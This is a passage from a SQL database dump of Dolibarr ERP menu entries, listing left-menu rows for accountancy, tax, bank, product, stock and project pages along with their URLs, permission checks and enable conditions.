15:14:30'),(162808,'auguria',1,'','left','accountancy',162792,NULL,NULL,2,'/compta/facture/list.php?leftmenu=customers_bills&search_status=1','','BillShortStatusNotPaid',NULL,'bills',2,'','$user->rights->facture->lire','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162809,'auguria',1,'','left','accountancy',162792,NULL,NULL,3,'/compta/facture/list.php?leftmenu=customers_bills&search_status=2','','BillShortStatusPaid',NULL,'bills',2,'','$user->rights->facture->lire','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162810,'auguria',1,'','left','accountancy',162792,NULL,NULL,4,'/compta/facture/list.php?leftmenu=customers_bills&search_status=3','','BillShortStatusCanceled',NULL,'bills',2,'','$user->rights->facture->lire','$conf->facture->enabled',2,'2017-08-30 15:14:30'),(162987,'auguria',1,'','left','accountancy',161093,NULL,NULL,3,'/commande/list.php?leftmenu=orders&search_status=3','','MenuOrdersToBill',NULL,'orders',0,'orders','$user->rights->commande->lire','$conf->commande->enabled',0,'2017-08-30 15:14:30'),(163087,'auguria',1,'','left','accountancy',161093,NULL,NULL,4,'/don/index.php?leftmenu=donations&mainmenu=accountancy','','Donations',NULL,'donations',0,'donations','$user->rights->don->lire','$conf->don->enabled',2,'2017-08-30 15:14:30'),(163088,'auguria',1,'','left','accountancy',163087,NULL,NULL,0,'/don/card.php?leftmenu=donations&mainmenu=accountancy&action=create','','NewDonation',NULL,'donations',1,'','$user->rights->don->creer','$conf->don->enabled && $leftmenu==\"donations\"',2,'2017-08-30 15:14:30'),(163089,'auguria',1,'','left','accountancy',163087,NULL,NULL,1,'/don/list.php?leftmenu=donations&mainmenu=accountancy','','List',NULL,'donations',1,'','$user->rights->don->lire','$conf->don->enabled && $leftmenu==\"donations\"',2,'2017-08-30 15:14:30'),(163187,'auguria',1,'','left','accountancy',161102,NULL,NULL,5,'/compta/deplacement/index.php?leftmenu=tripsandexpenses','','TripsAndExpenses',NULL,'trips',0,'tripsandexpenses','$user->rights->deplacement->lire','$conf->deplacement->enabled',0,'2017-08-30 15:14:30'),(163188,'auguria',1,'','left','accountancy',163187,NULL,NULL,1,'/compta/deplacement/card.php?action=create&leftmenu=tripsandexpenses','','New',NULL,'trips',1,'','$user->rights->deplacement->creer','$conf->deplacement->enabled',0,'2017-08-30 15:14:30'),(163189,'auguria',1,'','left','accountancy',163187,NULL,NULL,2,'/compta/deplacement/list.php?leftmenu=tripsandexpenses','','List',NULL,'trips',1,'','$user->rights->deplacement->lire','$conf->deplacement->enabled',0,'2017-08-30 15:14:30'),(163190,'auguria',1,'','left','accountancy',163187,NULL,NULL,2,'/compta/deplacement/stats/index.php?leftmenu=tripsandexpenses','','Statistics',NULL,'trips',1,'','$user->rights->deplacement->lire','$conf->deplacement->enabled',0,'2017-08-30 15:14:30'),(163287,'auguria',1,'','left','accountancy',161093,NULL,NULL,6,'/compta/charges/index.php?leftmenu=tax&mainmenu=accountancy','','MenuSpecialExpenses',NULL,'compta',0,'tax','(! empty($conf->tax->enabled) && $user->rights->tax->charges->lire) || (! empty($conf->salaries->enabled) && $user->rights->salaries->read)','$conf->tax->enabled || $conf->salaries->enabled',0,'2017-08-30 15:14:30'),(163297,'auguria',1,'','left','accountancy',163287,NULL,NULL,1,'/compta/salaries/index.php?leftmenu=tax_salary&mainmenu=accountancy','','Salaries',NULL,'salaries',1,'tax_sal','$user->rights->salaries->payment->read','$conf->salaries->enabled',0,'2017-08-30 15:14:30'),(163298,'auguria',1,'','left','accountancy',163297,NULL,NULL,2,'/compta/salaries/card.php?leftmenu=tax_salary&action=create','','NewPayment',NULL,'companies',2,'','$user->rights->salaries->payment->write','$conf->salaries->enabled && $leftmenu==\"tax_salary\"',0,'2017-08-30 15:14:30'),(163299,'auguria',1,'','left','accountancy',163297,NULL,NULL,3,'/compta/salaries/index.php?leftmenu=tax_salary','','Payments',NULL,'companies',2,'','$user->rights->salaries->payment->read','$conf->salaries->enabled && $leftmenu==\"tax_salary\"',0,'2017-08-30 15:14:30'),(163307,'auguria',1,'','left','accountancy',163287,NULL,NULL,1,'/loan/index.php?leftmenu=tax_loan&mainmenu=accountancy','','Loans',NULL,'loan',1,'tax_loan','$user->rights->loan->read','$conf->loan->enabled',0,'2017-08-30 15:14:30'),(163308,'auguria',1,'','left','accountancy',163307,NULL,NULL,2,'/loan/card.php?leftmenu=tax_loan&action=create','','NewLoan',NULL,'loan',2,'','$user->rights->loan->write','$conf->loan->enabled && $leftmenu==\"tax_loan\"',0,'2017-08-30 15:14:30'),(163310,'auguria',1,'','left','accountancy',163307,NULL,NULL,4,'/loan/calc.php?leftmenu=tax_loan','','Calculator',NULL,'companies',2,'','$user->rights->loan->calc','$conf->loan->enabled && $leftmenu==\"tax_loan\" && ! empty($conf->global->LOAN_SHOW_CALCULATOR)',0,'2017-08-30 15:14:30'),(163337,'auguria',1,'','left','accountancy',163287,NULL,NULL,1,'/compta/sociales/index.php?leftmenu=tax_social','','SocialContributions',NULL,'',1,'tax_social','$user->rights->tax->charges->lire','$conf->tax->enabled',0,'2017-08-30 15:14:30'),(163338,'auguria',1,'','left','accountancy',163337,NULL,NULL,2,'/compta/sociales/card.php?leftmenu=tax_social&action=create','','MenuNewSocialContribution',NULL,'',2,'','$user->rights->tax->charges->creer','$conf->tax->enabled && $leftmenu==\"tax_social\"',0,'2017-08-30 15:14:30'),(163339,'auguria',1,'','left','accountancy',163337,NULL,NULL,3,'/compta/sociales/payments.php?leftmenu=tax_social&mainmenu=accountancy&mode=sconly','','Payments',NULL,'',2,'','$user->rights->tax->charges->lire','$conf->tax->enabled && $leftmenu==\"tax_social\"',0,'2017-08-30 15:14:30'),(163387,'auguria',1,'','left','accountancy',163287,NULL,NULL,7,'/compta/tva/index.php?leftmenu=tax_vat&mainmenu=accountancy','','VAT',NULL,'companies',1,'tax_vat','$user->rights->tax->charges->lire','$conf->tax->enabled && empty($conf->global->TAX_DISABLE_VAT_MENUS)',0,'2017-08-30 15:14:30'),(163388,'auguria',1,'','left','accountancy',163387,NULL,NULL,0,'/compta/tva/card.php?leftmenu=tax_vat&action=create','','New',NULL,'companies',2,'','$user->rights->tax->charges->creer','$conf->tax->enabled && empty($conf->global->TAX_DISABLE_VAT_MENUS) && $leftmenu==\"tax_vat\"',0,'2017-08-30 15:14:30'),(163389,'auguria',1,'','left','accountancy',163387,NULL,NULL,1,'/compta/tva/reglement.php?leftmenu=tax_vat','','List',NULL,'companies',2,'','$user->rights->tax->charges->lire','$conf->tax->enabled && empty($conf->global->TAX_DISABLE_VAT_MENUS) && $leftmenu==\"tax_vat\"',0,'2017-08-30 15:14:30'),(163390,'auguria',1,'','left','accountancy',163387,NULL,NULL,2,'/compta/tva/clients.php?leftmenu=tax_vat','','ReportByCustomers',NULL,'companies',2,'','$user->rights->tax->charges->lire','$conf->tax->enabled && empty($conf->global->TAX_DISABLE_VAT_MENUS) && $leftmenu==\"tax_vat\"',0,'2017-08-30 15:14:30'),(163391,'auguria',1,'','left','accountancy',163387,NULL,NULL,3,'/compta/tva/quadri_detail.php?leftmenu=tax_vat','','ReportByQuarter',NULL,'companies',2,'','$user->rights->tax->charges->lire','$conf->tax->enabled && empty($conf->global->TAX_DISABLE_VAT_MENUS) && $leftmenu==\"tax_vat\"',0,'2017-08-30 15:14:30'),(163487,'auguria',1,'','left','accountancy',161093,NULL,NULL,7,'/accountancy/index.php?leftmenu=accountancy','','MenuAccountancy',NULL,'accountancy',0,'accounting','! empty($conf->accounting->enabled) || $user->rights->accounting->bind->write || $user->rights->accounting->bind->write || $user->rights->compta->resultat->lire','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163488,'auguria',1,'','left','accountancy',163487,NULL,NULL,2,'/accountancy/customer/index.php?leftmenu=dispatch_customer','','CustomersVentilation',NULL,'accountancy',1,'dispatch_customer','$user->rights->accounting->bind->write','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163489,'auguria',1,'','left','accountancy',163488,NULL,NULL,3,'/accountancy/customer/list.php','','ToDispatch',NULL,'accountancy',2,'','$user->rights->accounting->bind->write','$conf->accounting->enabled && $leftmenu==\"dispatch_customer\"',0,'2017-08-30 15:14:30'),(163490,'auguria',1,'','left','accountancy',163488,NULL,NULL,4,'/accountancy/customer/lines.php','','Dispatched',NULL,'accountancy',2,'','$user->rights->accounting->bind->write','$conf->accounting->enabled && $leftmenu==\"dispatch_customer\"',0,'2017-08-30 15:14:30'),(163497,'auguria',1,'','left','accountancy',163487,NULL,NULL,5,'/accountancy/supplier/index.php?leftmenu=dispatch_supplier','','SuppliersVentilation',NULL,'accountancy',1,'ventil_supplier','$user->rights->accounting->bind->write','$conf->accounting->enabled && $conf->fournisseur->enabled',0,'2017-08-30 15:14:30'),(163498,'auguria',1,'','left','accountancy',163497,NULL,NULL,6,'/accountancy/supplier/list.php','','ToDispatch',NULL,'accountancy',2,'','$user->rights->accounting->bind->write','$conf->accounting->enabled && $conf->fournisseur->enabled && $leftmenu==\"dispatch_supplier\"',0,'2017-08-30 15:14:30'),(163499,'auguria',1,'','left','accountancy',163497,NULL,NULL,7,'/accountancy/supplier/lines.php','','Dispatched',NULL,'accountancy',2,'','$user->rights->accounting->bind->write','$conf->accounting->enabled && $conf->fournisseur->enabled && $leftmenu==\"dispatch_supplier\"',0,'2017-08-30 15:14:30'),(163507,'auguria',1,'','left','accountancy',163487,NULL,NULL,5,'/accountancy/expensereport/index.php?leftmenu=dispatch_expensereport','','ExpenseReportsVentilation',NULL,'accountancy',1,'ventil_expensereport','$user->rights->accounting->bind->write','$conf->accounting->enabled && $conf->expensereport->enabled',0,'2017-08-30 15:14:30'),(163508,'auguria',1,'','left','accountancy',163507,NULL,NULL,6,'/accountancy/expensereport/list.php','','ToDispatch',NULL,'accountancy',2,'','$user->rights->accounting->bind->write','$conf->accounting->enabled && $conf->expensereport->enabled && $leftmenu==\"dispatch_expensereport\"',0,'2017-08-30 15:14:30'),(163509,'auguria',1,'','left','accountancy',163507,NULL,NULL,7,'/accountancy/expensereport/lines.php','','Dispatched',NULL,'accountancy',2,'','$user->rights->accounting->bind->write','$conf->accounting->enabled && $conf->expensereport->enabled && $leftmenu==\"dispatch_expensereport\"',0,'2017-08-30 15:14:30'),(163517,'auguria',1,'','left','accountancy',163487,NULL,NULL,15,'/accountancy/bookkeeping/list.php','','Bookkeeping',NULL,'accountancy',1,'bookkeeping','$user->rights->accounting->mouvements->lire','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163522,'auguria',1,'','left','accountancy',163487,NULL,NULL,16,'/accountancy/bookkeeping/balance.php','','AccountBalance',NULL,'accountancy',1,'balance','$user->rights->accounting->mouvements->lire','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163527,'auguria',1,'','left','accountancy',163487,NULL,NULL,17,'/accountancy/report/result.php?mainmenu=accountancy&leftmenu=accountancy','','Reportings',NULL,'main',1,'report','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163528,'auguria',1,'','left','accountancy',163527,NULL,NULL,19,'/compta/resultat/index.php?mainmenu=accountancy&leftmenu=accountancy','','ReportInOut',NULL,'main',2,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled && $leftmenu==\"accountancy\"',0,'2017-08-30 15:14:30'),(163529,'auguria',1,'','left','accountancy',163528,NULL,NULL,18,'/accountancy/report/result.php?mainmenu=accountancy&leftmenu=accountancy','','ByAccounts',NULL,'main',3,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled && $leftmenu==\"accountancy\"',0,'2017-08-30 15:14:30'),(163530,'auguria',1,'','left','accountancy',163528,NULL,NULL,20,'/compta/resultat/clientfourn.php?mainmenu=accountancy&leftmenu=accountancy','','ByCompanies',NULL,'main',3,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled && $leftmenu==\"accountancy\"',0,'2017-08-30 15:14:30'),(163531,'auguria',1,'','left','accountancy',163527,NULL,NULL,21,'/compta/stats/index.php?mainmenu=accountancy&leftmenu=accountancy','','ReportTurnover',NULL,'main',2,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled && $leftmenu==\"accountancy\"',0,'2017-08-30 15:14:30'),(163532,'auguria',1,'','left','accountancy',163531,NULL,NULL,22,'/compta/stats/casoc.php?mainmenu=accountancy&leftmenu=accountancy','','ByCompanies',NULL,'main',3,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled && $leftmenu==\"accountancy\"',0,'2017-08-30 15:14:30'),(163533,'auguria',1,'','left','accountancy',163531,NULL,NULL,23,'/compta/stats/cabyuser.php?mainmenu=accountancy&leftmenu=accountancy','','ByUsers',NULL,'main',3,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled && $leftmenu==\"accountancy\"',0,'2017-08-30 15:14:30'),(163534,'auguria',1,'','left','accountancy',163531,NULL,NULL,24,'/compta/stats/cabyprodserv.php?mainmenu=accountancy&leftmenu=accountancy','','ByProductsAndServices',NULL,'main',3,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled && $leftmenu==\"accountancy\"',0,'2017-08-30 15:14:30'),(163537,'auguria',1,'','left','accountancy',163538,NULL,NULL,80,'/accountancy/admin/fiscalyear.php?mainmenu=accountancy&leftmenu=accountancy_admin','','FiscalPeriod',NULL,'admin',1,'accountancy_admin_period','','$conf->accounting->enabled && $leftmenu==\"accountancy_admin\" && $conf->global->MAIN_FEATURES_LEVEL > 0',2,'2017-08-30 15:14:30'),(163538,'auguria',1,'','left','accountancy',163487,NULL,NULL,1,'/accountancy/index.php?mainmenu=accountancy&leftmenu=accountancy_admin','','Setup',NULL,'accountancy',1,'accountancy_admin','$user->rights->accounting->chartofaccount','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163541,'auguria',1,'','left','accountancy',163538,NULL,NULL,10,'/accountancy/admin/journals_list.php?id=35&mainmenu=accountancy&leftmenu=accountancy_admin','','AccountingJournals',NULL,'accountancy',2,'accountancy_admin_journal','$user->rights->accounting->chartofaccount','$conf->accounting->enabled && $leftmenu==\"accountancy_admin\"',0,'2017-08-30 15:14:30'),(163542,'auguria',1,'','left','accountancy',163538,NULL,NULL,20,'/accountancy/admin/account.php?mainmenu=accountancy&leftmenu=accountancy_admin','','Pcg_version',NULL,'accountancy',2,'accountancy_admin_chartmodel','$user->rights->accounting->chartofaccount','$conf->accounting->enabled && $leftmenu==\"accountancy_admin\"',0,'2017-08-30 15:14:30'),(163543,'auguria',1,'','left','accountancy',163538,NULL,NULL,30,'/accountancy/admin/account.php?mainmenu=accountancy&leftmenu=accountancy_admin','','Chartofaccounts',NULL,'accountancy',2,'accountancy_admin_chart','$user->rights->accounting->chartofaccount','$conf->accounting->enabled && $leftmenu==\"accountancy_admin\"',0,'2017-08-30 15:14:30'),(163544,'auguria',1,'','left','accountancy',163538,NULL,NULL,40,'/accountancy/admin/categories_list.php?id=32&mainmenu=accountancy&leftmenu=accountancy_admin','','AccountingCategory',NULL,'accountancy',2,'accountancy_admin_chart_group','$user->rights->accounting->chartofaccount','$conf->accounting->enabled && $leftmenu==\"accountancy_admin\"',0,'2017-08-30 15:14:30'),(163545,'auguria',1,'','left','accountancy',163538,NULL,NULL,50,'/accountancy/admin/defaultaccounts.php?mainmenu=accountancy&leftmenu=accountancy_admin','','MenuDefaultAccounts',NULL,'accountancy',2,'accountancy_admin_default','$user->rights->accounting->chartofaccount','$conf->accounting->enabled && $leftmenu==\"accountancy_admin\"',0,'2017-08-30 15:14:30'),(163546,'auguria',1,'','left','accountancy',163538,NULL,NULL,60,'/admin/dict.php?id=10&from=accountancy&search_country_id=__MYCOUNTRYID__&mainmenu=accountancy&leftmenu=accountancy_admin','','MenuVatAccounts',NULL,'accountancy',2,'accountancy_admin_vat','$user->rights->accounting->chartofaccount','$conf->accounting->enabled && $leftmenu==\"accountancy_admin\"',0,'2017-08-30 15:14:30'),(163547,'auguria',1,'','left','accountancy',163538,NULL,NULL,70,'/admin/dict.php?id=7&from=accountancy&search_country_id=__MYCOUNTRYID__&mainmenu=accountancy&leftmenu=accountancy_admin','','MenuTaxAccounts',NULL,'accountancy',2,'accountancy_admin_tax','$user->rights->accounting->chartofaccount','$conf->accounting->enabled && $leftmenu==\"accountancy_admin\"',0,'2017-08-30 15:14:30'),(163548,'auguria',1,'','left','accountancy',163538,NULL,NULL,80,'/admin/dict.php?id=17&from=accountancy&mainmenu=accountancy&leftmenu=accountancy_admin','','MenuExpenseReportAccounts',NULL,'accountancy',2,'accountancy_admin_expensereport','$user->rights->accounting->chartofaccount','$conf->accounting->enabled && $conf->expensereport->enabled && $leftmenu==\"accountancy_admin\"',0,'2017-08-30 15:14:30'),(163549,'auguria',1,'','left','accountancy',163538,NULL,NULL,90,'/accountancy/admin/productaccount.php?mainmenu=accountancy&leftmenu=accountancy_admin','','MenuProductsAccounts',NULL,'accountancy',2,'accountancy_admin_product','$user->rights->accounting->chartofaccount','$conf->accounting->enabled && $leftmenu==\"accountancy_admin\"',0,'2017-08-30 15:14:30'),(163587,'auguria',1,'','left','accountancy',161101,NULL,NULL,9,'/compta/prelevement/index.php?leftmenu=withdraw&mainmenu=bank','','StandingOrders',NULL,'withdrawals',0,'withdraw','$user->rights->prelevement->bons->lire','$conf->prelevement->enabled',2,'2017-08-30 15:14:30'),(163589,'auguria',1,'','left','accountancy',163587,NULL,NULL,0,'/compta/prelevement/create.php?leftmenu=withdraw','','NewStandingOrder',NULL,'withdrawals',1,'','$user->rights->prelevement->bons->lire','$conf->prelevement->enabled && $leftmenu==\"withdraw\"',2,'2017-08-30 15:14:30'),(163590,'auguria',1,'','left','accountancy',163587,NULL,NULL,2,'/compta/prelevement/bons.php?leftmenu=withdraw','','WithdrawalsReceipts',NULL,'withdrawals',1,'','$user->rights->prelevement->bons->lire','$conf->prelevement->enabled && $leftmenu==\"withdraw\"',2,'2017-08-30 15:14:30'),(163591,'auguria',1,'','left','accountancy',163587,NULL,NULL,3,'/compta/prelevement/list.php?leftmenu=withdraw','','WithdrawalsLines',NULL,'withdrawals',1,'','$user->rights->prelevement->bons->lire','$conf->prelevement->enabled && $leftmenu==\"withdraw\"',2,'2017-08-30 15:14:30'),(163593,'auguria',1,'','left','accountancy',163587,NULL,NULL,5,'/compta/prelevement/rejets.php?leftmenu=withdraw','','Rejects',NULL,'withdrawals',1,'','$user->rights->prelevement->bons->lire','$conf->prelevement->enabled && $leftmenu==\"withdraw\"',2,'2017-08-30 15:14:30'),(163594,'auguria',1,'','left','accountancy',163587,NULL,NULL,6,'/compta/prelevement/stats.php?leftmenu=withdraw','','Statistics',NULL,'withdrawals',1,'','$user->rights->prelevement->bons->lire','$conf->prelevement->enabled && $leftmenu==\"withdraw\"',2,'2017-08-30 15:14:30'),(163687,'auguria',1,'','left','accountancy',161101,NULL,NULL,1,'/compta/bank/index.php?leftmenu=bank&mainmenu=bank','','MenuBankCash',NULL,'banks',0,'bank','$user->rights->banque->lire','$conf->banque->enabled',0,'2017-08-30 15:14:30'),(163688,'auguria',1,'','left','accountancy',163687,NULL,NULL,0,'/compta/bank/card.php?action=create&leftmenu=bank','','MenuNewFinancialAccount',NULL,'banks',1,'','$user->rights->banque->configurer','$conf->banque->enabled && ($leftmenu==\"bank\" || $leftmenu==\"checks\" || $leftmenu==\"withdraw\")',0,'2017-08-30 15:14:30'),(163690,'auguria',1,'','left','accountancy',163687,NULL,NULL,2,'/compta/bank/bankentries.php?leftmenu=bank','','ListTransactions',NULL,'banks',1,'','$user->rights->banque->lire','$conf->banque->enabled && ($leftmenu==\"bank\" || $leftmenu==\"checks\" || $leftmenu==\"withdraw\")',0,'2017-08-30 15:14:30'),(163691,'auguria',1,'','left','accountancy',163687,NULL,NULL,3,'/compta/bank/budget.php?leftmenu=bank','','ListTransactionsByCategory',NULL,'banks',1,'','$user->rights->banque->lire','$conf->banque->enabled && ($leftmenu==\"bank\" || $leftmenu==\"checks\" || $leftmenu==\"withdraw\")',0,'2017-08-30 15:14:30'),(163693,'auguria',1,'','left','accountancy',163687,NULL,NULL,5,'/compta/bank/transfer.php?leftmenu=bank','','BankTransfers',NULL,'banks',1,'','$user->rights->banque->transfer','$conf->banque->enabled && ($leftmenu==\"bank\" || $leftmenu==\"checks\" || $leftmenu==\"withdraw\")',0,'2017-08-30 15:14:30'),(163737,'auguria',1,'','left','accountancy',161101,NULL,NULL,4,'/categories/index.php?leftmenu=bank&type=5','','Categories',NULL,'categories',0,'cat','$user->rights->categorie->lire','$conf->categorie->enabled',2,'2017-08-30 15:14:30'),(163738,'auguria',1,'','left','accountancy',163737,NULL,NULL,0,'/categories/card.php?leftmenu=bank&action=create&type=5','','NewCategory',NULL,'categories',1,'','$user->rights->categorie->creer','$conf->categorie->enabled',2,'2017-08-30 15:14:30'),(163787,'auguria',1,'','left','accountancy',161093,NULL,NULL,11,'/compta/resultat/index.php?leftmenu=ca&mainmenu=accountancy','','Reportings',NULL,'main',0,'ca','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->comptabilite->enabled',0,'2017-08-30 15:14:30'),(163792,'auguria',1,'','left','accountancy',163487,NULL,NULL,1,'','','Journalization',NULL,'main',1,'','$user->rights->accounting->comptarapport->lire','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163793,'auguria',1,'','left','accountancy',163792,NULL,NULL,4,'/accountancy/journal/sellsjournal.php?mainmenu=accountancy&leftmenu=accountancy_journal&id_journal=1','','SellsJournal',NULL,'main',2,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163794,'auguria',1,'','left','accountancy',163792,NULL,NULL,1,'/accountancy/journal/bankjournal.php?mainmenu=accountancy&leftmenu=accountancy_journal&id_journal=3','','BankJournal',NULL,'main',2,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163795,'auguria',1,'','left','accountancy',163792,NULL,NULL,2,'/accountancy/journal/expensereportsjournal.php?mainmenu=accountancy&leftmenu=accountancy_journal&id_journal=6','','ExpenseReportJournal',NULL,'main',2,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163796,'auguria',1,'','left','accountancy',163792,NULL,NULL,3,'/accountancy/journal/purchasesjournal.php?mainmenu=accountancy&leftmenu=accountancy_journal&id_journal=2','','PurchasesJournal',NULL,'main',2,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->accounting->enabled',0,'2017-08-30 15:14:30'),(163798,'auguria',1,'','left','accountancy',163787,NULL,NULL,0,'/compta/resultat/index.php?leftmenu=ca','','ReportInOut',NULL,'main',1,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->comptabilite->enabled && $leftmenu==\"ca\"',0,'2017-08-30 15:14:30'),(163799,'auguria',1,'','left','accountancy',163788,NULL,NULL,0,'/compta/resultat/clientfourn.php?leftmenu=ca','','ByCompanies',NULL,'main',2,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->comptabilite->enabled && $leftmenu==\"ca\"',0,'2017-08-30 15:14:30'),(163800,'auguria',1,'','left','accountancy',163787,NULL,NULL,1,'/compta/stats/index.php?leftmenu=ca','','ReportTurnover',NULL,'main',1,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->comptabilite->enabled && $leftmenu==\"ca\"',0,'2017-08-30 15:14:30'),(163801,'auguria',1,'','left','accountancy',163790,NULL,NULL,0,'/compta/stats/casoc.php?leftmenu=ca','','ByCompanies',NULL,'main',2,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->comptabilite->enabled && $leftmenu==\"ca\"',0,'2017-08-30 15:14:30'),(163802,'auguria',1,'','left','accountancy',163790,NULL,NULL,1,'/compta/stats/cabyuser.php?leftmenu=ca','','ByUsers',NULL,'main',2,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->comptabilite->enabled && $leftmenu==\"ca\"',0,'2017-08-30 15:14:30'),(163803,'auguria',1,'','left','accountancy',163790,NULL,NULL,1,'/compta/stats/cabyprodserv.php?leftmenu=ca','','ByProductsAndServices',NULL,'main',2,'','$user->rights->compta->resultat->lire || $user->rights->accounting->comptarapport->lire','$conf->comptabilite->enabled && $leftmenu==\"ca\"',0,'2017-08-30 15:14:30'),(163887,'auguria',1,'','left','products',161090,NULL,NULL,0,'/product/index.php?leftmenu=product&type=0','','Products',NULL,'products',0,'product','$user->rights->produit->lire','$conf->product->enabled',2,'2017-08-30 15:14:30'),(163888,'auguria',1,'','left','products',163887,NULL,NULL,0,'/product/card.php?leftmenu=product&action=create&type=0','','NewProduct',NULL,'products',1,'','$user->rights->produit->creer','$conf->product->enabled',2,'2017-08-30 15:14:30'),(163889,'auguria',1,'','left','products',163887,NULL,NULL,1,'/product/list.php?leftmenu=product&type=0','','List',NULL,'products',1,'','$user->rights->produit->lire','$conf->product->enabled',2,'2017-08-30 15:14:30'),(163890,'auguria',1,'','left','products',163887,NULL,NULL,4,'/product/reassort.php?type=0','','Stocks',NULL,'products',1,'','$user->rights->produit->lire && $user->rights->stock->lire','$conf->product->enabled',2,'2017-08-30 15:14:30'),(163891,'auguria',1,'','left','products',163887,NULL,NULL,7,'/product/stats/card.php?id=all&leftmenu=stats&type=0','','Statistics',NULL,'main',1,'','$user->rights->produit->lire','$conf->propal->enabled',2,'2017-08-30 15:14:30'),(163892,'auguria',1,'','left','products',163887,NULL,NULL,5,'/product/reassortlot.php?type=0','','StocksByLotSerial',NULL,'products',1,'','$user->rights->produit->lire && $user->rights->stock->lire','$conf->productbatch->enabled',2,'2017-08-30 15:14:30'),(163893,'auguria',1,'','left','products',163887,NULL,NULL,6,'/product/stock/productlot_list.php','','LotSerial',NULL,'products',1,'','$user->rights->produit->lire && $user->rights->stock->lire','$conf->productbatch->enabled',2,'2017-08-30 15:14:30'),(163987,'auguria',1,'','left','products',161090,NULL,NULL,1,'/product/index.php?leftmenu=service&type=1','','Services',NULL,'products',0,'service','$user->rights->service->lire','$conf->service->enabled',2,'2017-08-30 15:14:30'),(163988,'auguria',1,'','left','products',163987,NULL,NULL,0,'/product/card.php?leftmenu=service&action=create&type=1','','NewService',NULL,'products',1,'','$user->rights->service->creer','$conf->service->enabled',2,'2017-08-30 15:14:30'),(163989,'auguria',1,'','left','products',163987,NULL,NULL,1,'/product/list.php?leftmenu=service&type=1','','List',NULL,'products',1,'','$user->rights->service->lire','$conf->service->enabled',2,'2017-08-30 15:14:30'),(163990,'auguria',1,'','left','products',163987,NULL,NULL,5,'/product/stats/card.php?id=all&leftmenu=stats&type=1','','Statistics',NULL,'main',1,'','$user->rights->service->lire','$conf->propal->enabled',2,'2017-08-30 15:14:30'),(164187,'auguria',1,'','left','products',161090,NULL,NULL,3,'/product/stock/index.php?leftmenu=stock','','Stock',NULL,'stocks',0,'stock','$user->rights->stock->lire','$conf->stock->enabled',2,'2017-08-30 15:14:30'),(164188,'auguria',1,'','left','products',164187,NULL,NULL,0,'/product/stock/card.php?action=create','','MenuNewWarehouse',NULL,'stocks',1,'','$user->rights->stock->creer','$conf->stock->enabled',2,'2017-08-30 15:14:30'),(164189,'auguria',1,'','left','products',164187,NULL,NULL,1,'/product/stock/list.php','','List',NULL,'stocks',1,'','$user->rights->stock->lire','$conf->stock->enabled',2,'2017-08-30 15:14:30'),(164191,'auguria',1,'','left','products',164187,NULL,NULL,3,'/product/stock/mouvement.php','','Movements',NULL,'stocks',1,'','$user->rights->stock->mouvement->lire','$conf->stock->enabled',2,'2017-08-30 15:14:30'),(164192,'auguria',1,'','left','products',164187,NULL,NULL,4,'/product/stock/replenish.php','','Replenishments',NULL,'stocks',1,'','$user->rights->stock->mouvement->creer && $user->rights->fournisseur->lire','$conf->stock->enabled && $conf->supplier_order->enabled',2,'2017-08-30 15:14:30'),(164193,'auguria',1,'','left','products',164187,NULL,NULL,5,'/product/stock/massstockmove.php','','MassStockTransferShort',NULL,'stocks',1,'','$user->rights->stock->mouvement->creer','$conf->stock->enabled',2,'2017-08-30 15:14:30'),(164287,'auguria',1,'','left','products',161090,NULL,NULL,4,'/categories/index.php?leftmenu=cat&type=0','','Categories',NULL,'categories',0,'cat','$user->rights->categorie->lire','$conf->categorie->enabled',2,'2017-08-30 15:14:30'),(164288,'auguria',1,'','left','products',164287,NULL,NULL,0,'/categories/card.php?action=create&type=0','','NewCategory',NULL,'categories',1,'','$user->rights->categorie->creer','$conf->categorie->enabled',2,'2017-08-30 15:14:30'),(164487,'auguria',1,'','left','project',161094,NULL,NULL,3,'/projet/activity/perweek.php?leftmenu=projects','','NewTimeSpent',NULL,'projects',0,'','$user->rights->projet->lire','$conf->projet->enabled && $conf->global->PROJECT_USE_TASKS',2,'2017-08-30 15:14:30'),(164687,'auguria',1,'','left','project',161094,NULL,NULL,0,'/projet/index.php?leftmenu=projects','','Projects',NULL,'projects',0,'projects','$user->rights->projet->lire','$conf->projet->enabled',2,'2017-08-30 15:14:30'),(164688,'auguria',1,'','left','project',164687,NULL,NULL,1,'/projet/card.php?leftmenu=projects&action=create','','NewProject',NULL,'projects',1,'','$user->rights->projet->creer','$conf->projet->enabled',2,'2017-08-30 